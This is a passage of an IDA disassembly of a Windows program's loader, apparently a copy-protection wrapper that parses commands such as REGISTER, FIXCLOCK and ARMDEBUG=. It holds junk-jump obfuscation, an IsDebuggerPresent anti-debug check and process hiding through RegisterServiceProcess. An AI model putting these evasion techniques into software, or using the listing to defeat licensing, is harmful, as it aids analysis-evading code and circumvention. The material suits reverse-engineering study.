		mov	eax, large fs:20h
		or	eax, eax
		jnz	short loc_4B5C8E
		jmp	short loc_4B5CFF
; ---------------------------------------------------------------------------


loc_4B5C8E:				; CODE XREF: .text:004B5C6Ej
					; .text:004B5C75j ...
		pusha
		xor	eax, eax
		jnz	short loc_4B5C95
		jmp	short loc_4B5CAA
; ---------------------------------------------------------------------------


loc_4B5C95:				; CODE XREF: .text:004B5C91j
		jmp	short loc_4B5CCA
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4B5C9C:				; CODE XREF: .text:loc_4B5CAAj
		jo	short loc_4B5CAC
		jmp	short near ptr loc_4B5CAC+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4B5CB3


loc_4B5CAA:				; CODE XREF: .text:004B5C93j
		jz	short loc_4B5C9C


loc_4B5CAC:				; CODE XREF: .text:loc_4B5C9Cj
					; .text:004B5C9Ej
		jmp	short near ptr loc_4B5C34+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4B5CB3:				; CODE XREF: .text:004B5CA8j
		popa
		mov	byte_4F435C, 1
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B5CF2 ; CODE	XREF: .text:loc_4B5CF2j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B5CCA:				; CODE XREF: .text:loc_4B5C95j
					; .text:004B5CEBj
		jmp	short loc_4B5CE9
; ---------------------------------------------------------------------------


loc_4B5CCC:				; CODE XREF: .text:loc_4B5CE9j
		xor	ecx, ecx


loc_4B5CCE:				; CODE XREF: .text:004B5CDDj
		jz	short $+2
		jmp	short loc_4B5CE2
; ---------------------------------------------------------------------------


loc_4B5CD2:				; CODE XREF: .text:004B5CE6j
		stc
		xor	ecx, 3
		jz	short loc_4B5C68
		jmp	short loc_4B5CDF
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B5CDB:				; CODE XREF: .text:loc_4B5CDFj
		jmp	short loc_4B5CED
; ---------------------------------------------------------------------------
		jz	short loc_4B5CCE


loc_4B5CDF:				; CODE XREF: .text:004B5CD8j
		jnb	short loc_4B5CDB
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B5CE2:				; CODE XREF: .text:004B5CD0j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B5CD2
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B5CE9:				; CODE XREF: .text:loc_4B5CCAj
		jmp	short loc_4B5CCC
; ---------------------------------------------------------------------------
		jmp	short loc_4B5CCA
; ---------------------------------------------------------------------------


loc_4B5CED:				; CODE XREF: .text:loc_4B5CDBj
		repne sbb al, 0DBh
		jmp	short loc_4B5CF5
; ---------------------------------------------------------------------------


loc_4B5CF2:				; CODE XREF: .text:004B5CC5j
		jmp	short near ptr loc_4B5CC5+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B5CF5:				; CODE XREF: .text:004B5CF0j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx


loc_4B5CFF:				; CODE XREF: .text:004B5C70j
					; .text:004B5C8Cj
		mov	ecx, [ebp-6A8h]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B5D3D
		call	dword_4ED1B8	; GetCurrentProcessId
		push	eax
		push	offset aXDaf	; "%X:DAF"
		lea	edx, [ebp-128h]
		push	edx
		call	_sprintf_0
		add	esp, 0Ch
		lea	eax, [ebp-128h]
		push	eax
		push	0
		push	0
		call	dword_4ED0A4	; CreateMutexA
		jmp	short loc_4B5D99
; ---------------------------------------------------------------------------


loc_4B5D3D:				; CODE XREF: .text:004B5D0Dj
		xor	ecx, ecx
		cmp	dword_4F4130, 0
		setz	cl
		push	ecx
		call	loc_4B84DA
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B5D85
		mov	dword_4F4370, 6
		call	dword_4ED078	; RtlGetLastWin32Error
		push	eax
		push	offset aErrorCodeD ; "(Error code %d)"
		push	offset byte_4F4374
		call	_sprintf_0
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B5D85:				; CODE XREF: .text:004B5D59j
		push	0
		call	sub_4B5E35
		add	esp, 4
		mov	eax, 1
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B5D99:				; CODE XREF: .text:004B5B19j
					; .text:004B5D3Bj
		jmp	short loc_4B5DB9
; ---------------------------------------------------------------------------


loc_4B5D9B:				; CODE XREF: .text:004B5AD5j
		mov	edx, dword_4ED3DC
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED3F0
		and	edx, 2
		test	edx, edx
		jz	short loc_4B5DB9
		call	sub_4B3AA2


loc_4B5DB9:				; CODE XREF: .text:loc_4B5D99j
					; .text:004B5DB2j
		call	sub_4B45FB
		mov	[ebp-1Ch], eax
		push	0
		call	sub_4B5E35
		add	esp, 4
		push	0
		call	sub_4C935C
		add	esp, 4
		cmp	dword ptr [ebp-1Ch], 1
		jnz	short loc_4B5DEC
		push	offset dword_4F4130
		call	dword_4F4158
		add	esp, 4
		mov	[ebp-1Ch], eax


loc_4B5DEC:				; CODE XREF: .text:004B5DD9j
		push	offset sub_4B45CC
		call	sub_4C935C
		add	esp, 4
		cmp	dword_4F4154, 0
		jz	short loc_4B5E08
		call	dword_4F4154


loc_4B5E08:				; CODE XREF: .text:004B5E00j
		cmp	dword_4F4368, 0
		jz	short loc_4B5E21
		push	0
		push	0
		mov	eax, dword_4F4364
		push	eax
		call	dword_4F4368


loc_4B5E21:				; CODE XREF: .text:004B5E0Fj
		mov	eax, [ebp-1Ch]


loc_4B5E24:				; CODE XREF: .text:004B58BFj
					; .text:004B5A42j ...
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5E35	proc near		; CODE XREF: .text:004B58C6p
					; .text:004B5D87p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4F4478, 0
		jnz	short loc_4B5E67
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	dword_4ED07C	; LoadLibraryA
		mov	dword_4F4474, eax
		push	offset aRegisterserv_0 ; "RegisterServiceProcess"
		mov	eax, dword_4F4474
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	dword_4F4478, eax


loc_4B5E67:				; CODE XREF: sub_4B5E35+Aj
		cmp	dword_4F4478, 0
		jz	short loc_4B5E82
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFh
		push	ecx
		push	0
		call	dword_4F4478


loc_4B5E82:				; CODE XREF: sub_4B5E35+39j
		pop	ebp
		retn
sub_4B5E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5E84	proc near		; CODE XREF: WinMain(x,x,x,x):loc_4B66A5p
		push	ebp
		mov	ebp, esp
		call	loc_4B566B
		pop	ebp
		retn
sub_4B5E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5E8E	proc near		; CODE XREF: .text:loc_4B5F9Bp

Dest		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		mov	[ebp+var_8], 0
		push	offset aKernel32_0 ; "Kernel32"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4B5EFA
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4B5EFA
		call	[ebp+var_10]
		test	eax, eax
		jz	short loc_4B5EFA
		call	dword_4ED1B8	; GetCurrentProcessId
		push	eax
		push	offset aXDaf	; "%X:DAF"
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	_sprintf_0
		add	esp, 0Ch
		lea	edx, [ebp+Dest]
		push	edx
		push	0
		push	0
		call	dword_4ED0A4	; CreateMutexA


loc_4B5EFA:				; CODE XREF: sub_4B5E8E+1Fj
					; sub_4B5E8E+37j ...
		push	offset sub_4B45CC
		call	sub_4C935C
		add	esp, 4
		call	sub_4B45FB
		mov	[ebp+var_4], eax
		push	0
		call	sub_4C935C
		add	esp, 4
		cmp	[ebp+var_4], 1
		jnz	short loc_4B5F2D
		push	offset dword_4F4130
		call	dword_4F4158
		add	esp, 4


loc_4B5F2D:				; CODE XREF: sub_4B5E8E+8Fj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4B5E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5F34	proc near		; CODE XREF: .text:004B5FCFp
		push	ebp
		mov	ebp, esp
		push	offset sub_4B45CC
		call	sub_4C935C
		add	esp, 4
		call	dword_4F4154
		push	0
		push	0
		mov	eax, dword_4F4364
		push	eax
		call	dword_4F4368
		pop	ebp
		retn
sub_4B5F34	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		push	offset aInitializedlla ; "INITIALIZEDLLADDR"
		call	dword_4ED098	; SetEnvironmentVariableA
		cmp	dword_4F4360, 0
		jz	short loc_4B5F9B
		mov	eax, dword_4F4360
		mov	[ebp-8], eax
		mov	dword_4F4360, 0
		call	dword ptr [ebp-8]
		test	eax, eax
		jnz	short loc_4B5F9B
		xor	eax, eax
		jmp	loc_4B605B
; ---------------------------------------------------------------------------


loc_4B5F9B:				; CODE XREF: .text:004B5F79j
					; .text:004B5F92j
		call	sub_4B5E8E
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 1
		jnz	short loc_4B5FE9
		cmp	dword_4F4150, 0
		jz	short loc_4B5FE2
		push	offset byte_4F4374
		push	1
		mov	ecx, dword_4F4480
		push	ecx
		call	dword_4F4150
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4B5FDB
		call	sub_4B5F34
		xor	eax, eax
		jmp	loc_4B605B
; ---------------------------------------------------------------------------


loc_4B5FDB:				; CODE XREF: .text:004B5FCDj
		mov	eax, 1
		jmp	short loc_4B605B
; ---------------------------------------------------------------------------


loc_4B5FE2:				; CODE XREF: .text:004B5FB0j
		mov	eax, 1
		jmp	short loc_4B605B
; ---------------------------------------------------------------------------


loc_4B5FE9:				; CODE XREF: .text:004B5FA7j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4B6059
		call	sub_4B45B1
		push	eax
		lea	edx, [ebp-108h]
		push	edx
		call	_strcpy_0
		add	esp, 8
		call	sub_4B45C2
		push	eax
		call	_strlen_0
		add	esp, 4
		test	eax, eax
		jz	short loc_4B603F
		push	offset asc_4ED704 ; "\n"
		lea	eax, [ebp-108h]
		push	eax
		call	_strcat_0
		add	esp, 8
		call	sub_4B45C2
		push	eax
		lea	ecx, [ebp-108h]
		push	ecx
		call	_strcat_0
		add	esp, 8


loc_4B603F:				; CODE XREF: .text:004B6014j
		push	40010h
		push	0
		lea	edx, [ebp-108h]
		push	edx
		push	0
		call	dword_4ED22C	; MessageBoxA
		xor	eax, eax
		jmp	short loc_4B605B
; ---------------------------------------------------------------------------


loc_4B6059:				; CODE XREF: .text:004B5FEDj
		xor	eax, eax


loc_4B605B:				; CODE XREF: .text:004B5F96j
					; .text:004B5FD6j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6060	proc near		; CODE XREF: sub_4B4965+3Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4B6138
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jz	short loc_4B6091
		jmp	short loc_4B60B6
; ---------------------------------------------------------------------------


loc_4B6091:				; CODE XREF: sub_4B6060+2Dj
		push	0
		push	offset sub_4B60E5
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, dword_4F4480
		push	eax
		call	dword_4ED20C	; CreateDialogIndirectParamA
		mov	[ebp+var_C], eax
		call	dword_4ED078	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_4B60B6:				; CODE XREF: sub_4B6060+2Fj
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		push	5
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4ED210	; ShowWindow
		mov	ecx, [ebp+var_C]
		push	ecx
		call	dword_4ED214	; UpdateWindow
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4B6060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B60E5	proc near		; DATA XREF: sub_4B6060+33o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], offset aLoading___	; "Loading..."
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 110h
		jz	short loc_4B6103
		jmp	short loc_4B6130
; ---------------------------------------------------------------------------


loc_4B6103:				; CODE XREF: sub_4B60E5+1Aj
		push	offset dword_4F425C
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED204	; SetWindowTextA
		mov	edx, [ebp+var_4]
		push	edx
		push	3EAh
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED208	; GetDlgItem
		push	eax
		call	dword_4ED204	; SetWindowTextA
		xor	eax, eax
		jmp	short loc_4B6132
; ---------------------------------------------------------------------------


loc_4B6130:				; CODE XREF: sub_4B60E5+1Cj
		xor	eax, eax


loc_4B6132:				; CODE XREF: sub_4B60E5+49j
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4B60E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B6138	proc near		; CODE XREF: sub_4B6060+Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	400h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		cmp	[ebp+var_18], 0
		jz	short loc_4B616B
		jmp	loc_4B635B
; ---------------------------------------------------------------------------


loc_4B616B:				; CODE XREF: sub_4B6138+2Cj
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 90C00AC4h
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 80h
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	1
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	7Bh
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	22h
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	8
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_4B623A
; ---------------------------------------------------------------------------


loc_4B6231:				; CODE XREF: sub_4B6138+130j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4B623A:				; CODE XREF: sub_4B6138+F7j
		mov	edx, [ebp+var_8]
		mov	eax, off_4ED71C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		test	ecx, ecx
		jz	short loc_4B626A
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, off_4ED71C
		mov	ax, [ecx+eax*2]
		mov	[edx], ax
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_4B6231
; ---------------------------------------------------------------------------


loc_4B626A:				; CODE XREF: sub_4B6138+112j
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_4B627B:				; CODE XREF: sub_4B6138+162j
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 4
		div	ecx
		test	edx, edx
		jz	short loc_4B629C
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4B627B
; ---------------------------------------------------------------------------


loc_4B629C:				; CODE XREF: sub_4B6138+151j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 50801281h
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	7Bh
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	22h
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	3EAh
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0FFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	82h
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+var_4]
		add	edx, 2
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_4B6371
; ---------------------------------------------------------------------------


loc_4B635B:				; CODE XREF: sub_4B6138+2Ej
		mov	edx, [ebp+var_C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		xor	eax, eax
		jmp	short loc_4B6374
; ---------------------------------------------------------------------------


loc_4B6371:				; CODE XREF: sub_4B6138+221j
		mov	eax, [ebp+var_C]


loc_4B6374:				; CODE XREF: sub_4B6138+237j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B6138	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+C9p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
Dest		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Str		= dword	ptr -0Ch
Source		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	dword_4F4480, eax
		mov	dword_4F4130, 1
		mov	eax, [ebp+nShowCmd]
		mov	dword_4F4134, eax
		mov	ecx, [ebp+lpCmdLine]
		mov	dword_4F4138, ecx
		mov	edx, [ebp+hInstance]
		mov	dword_4F413C, edx
		push	2
		mov	eax, dword_4F4480
		push	eax
		call	sub_4BE373
		add	esp, 8
		push	2000h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	[ebp+Str], ecx
		push	2000h		; Size
		push	0		; Val
		mov	edx, [ebp+Str]
		push	edx		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	eax, [ebp+Str]
		push	eax		; Dest
		mov	ecx, [ebp+lpCmdLine]
		push	ecx		; Source
		call	sub_4B673D
		add	esp, 8
		mov	[ebp+Source], eax
		push	6		; MaxCount
		push	offset aServer	; "SERVER"
		mov	edx, [ebp+Str]
		push	edx		; Str1
		call	__strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_4B64F9
		mov	byte_4F4488, 1
		mov	dword_4ED3A4, 3Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen_0
		add	esp, 4
		cmp	eax, 6
		jbe	loc_4B64E6
		push	offset asc_4ED7E4 ; "X"
		mov	ecx, [ebp+Str]
		add	ecx, 6
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6468
		mov	dword_4ED3A4, 0FFFFFFFFh
		jmp	short loc_4B64E6
; ---------------------------------------------------------------------------


loc_4B6468:				; CODE XREF: WinMain(x,x,x,x)+DAj
		push	offset aDown	; "DOWN"
		mov	edx, [ebp+Str]
		add	edx, 6
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B648C
		mov	dword_4ED3A4, 0FFFFFFFEh
		jmp	short loc_4B64E6
; ---------------------------------------------------------------------------


loc_4B648C:				; CODE XREF: WinMain(x,x,x,x)+FEj
		mov	eax, [ebp+Str]
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4B6495:				; CODE XREF: WinMain(x,x,x,x)+13Dj
		mov	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4B64BF
		mov	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		push	ecx		; C
		call	_isdigit
		add	esp, 4
		test	eax, eax
		jnz	short loc_4B64B4
		jmp	short loc_4B64BF
; ---------------------------------------------------------------------------


loc_4B64B4:				; CODE XREF: WinMain(x,x,x,x)+130j
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_4B6495
; ---------------------------------------------------------------------------


loc_4B64BF:				; CODE XREF: WinMain(x,x,x,x)+11Dj
					; WinMain(x,x,x,x)+132j
		mov	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_4B64DF
		mov	edx, [ebp+Str]
		add	edx, 6
		push	edx		; Str
		call	sub_4C95E3
		add	esp, 4
		mov	dword_4ED3A4, eax
		jmp	short loc_4B64E6
; ---------------------------------------------------------------------------


loc_4B64DF:				; CODE XREF: WinMain(x,x,x,x)+147j
		mov	byte_4F4488, 0


loc_4B64E6:				; CODE XREF: WinMain(x,x,x,x)+BEj
					; WinMain(x,x,x,x)+E6j	...
		mov	eax, [ebp+Str]
		push	eax		; Dest
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		call	sub_4B673D
		add	esp, 8
		mov	[ebp+Source], eax


loc_4B64F9:				; CODE XREF: WinMain(x,x,x,x)+98j
		push	offset aRegister ; "REGISTER"
		mov	edx, [ebp+Str]
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B652E
		mov	dword_4F4484, 1
		mov	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_4F415C ; Dest
		call	_strcpy_0
		add	esp, 8
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B652E:				; CODE XREF: WinMain(x,x,x,x)+18Cj
		push	offset aQuietregister ;	"QUIETREGISTER"
		mov	ecx, [ebp+Str]
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6563
		mov	dword_4F4484, 8
		mov	edx, [ebp+Source]
		push	edx		; Source
		push	offset byte_4F415C ; Dest
		call	_strcpy_0
		add	esp, 8
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B6563:				; CODE XREF: WinMain(x,x,x,x)+1C1j
		push	offset aTransfer ; "TRANSFER"
		mov	eax, [ebp+Str]
		push	eax
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6587
		mov	dword_4F4484, 2
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B6587:				; CODE XREF: WinMain(x,x,x,x)+1F6j
		push	offset aFixclock ; "FIXCLOCK"
		mov	ecx, [ebp+Str]
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B65AB
		mov	dword_4F4484, 3
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B65AB:				; CODE XREF: WinMain(x,x,x,x)+21Aj
		push	offset aInfo	; "INFO"
		mov	edx, [ebp+Str]
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B65CF
		mov	dword_4F4484, 4
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B65CF:				; CODE XREF: WinMain(x,x,x,x)+23Ej
		push	offset aUnregister ; "UNREGISTER"
		mov	eax, [ebp+Str]
		push	eax
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B65F3
		mov	dword_4F4484, 5
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B65F3:				; CODE XREF: WinMain(x,x,x,x)+262j
		push	offset aQuietunregiste ; "QUIETUNREGISTER"
		mov	ecx, [ebp+Str]
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6617
		mov	dword_4F4484, 9
		jmp	loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B6617:				; CODE XREF: WinMain(x,x,x,x)+286j
		push	offset aShownetusers ; "SHOWNETUSERS"
		mov	edx, [ebp+Str]
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6638
		mov	dword_4F4484, 6
		jmp	short loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B6638:				; CODE XREF: WinMain(x,x,x,x)+2AAj
		push	offset aHwchangelog ; "HWCHANGELOG"
		mov	eax, [ebp+Str]
		push	eax
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B6659
		mov	dword_4F4484, 7
		jmp	short loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B6659:				; CODE XREF: WinMain(x,x,x,x)+2CBj
		push	offset aQuietexit ; "QUIETEXIT"
		mov	ecx, [ebp+Str]
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B667A
		mov	dword_4F4484, 0Ah
		jmp	short loc_4B66A5
; ---------------------------------------------------------------------------


loc_4B667A:				; CODE XREF: WinMain(x,x,x,x)+2ECj
		push	9		; MaxCount
		push	offset aArmdebug ; "ARMDEBUG="
		mov	edx, [ebp+Str]
		push	edx		; Str1
